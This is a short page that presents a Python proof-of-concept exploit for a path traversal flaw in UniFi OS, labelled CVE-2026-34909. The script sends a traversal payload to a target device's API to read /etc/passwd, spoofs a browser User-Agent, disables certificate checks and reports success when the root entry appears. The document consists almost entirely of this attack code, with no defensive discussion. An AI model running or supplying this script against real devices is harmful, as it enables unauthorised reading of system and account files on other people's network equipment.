CVE-2026-34909 UniFi OS路径遍历漏洞

import requests # Target URL of the vulnerable UniFi OS device target_url = "https://<target-ip>/api/status" # Malicious payload utilizing path traversal to read /etc/passwd # Attempting to escape the web root traversal_payload = "?file=../../../../../../../../etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send the malicious request response = requests.get(target_url + traversal_payload, headers=headers, verify=False, timeout=10) # Check if the response contains root user entry indicating successful exploitation if response.status_code == 200 and "root:x:0:0" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Content of /etc/passwd:") print(response.text) else: print("[-] Exploit failed or target is patched.") print("Status Code:", response.status_code) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")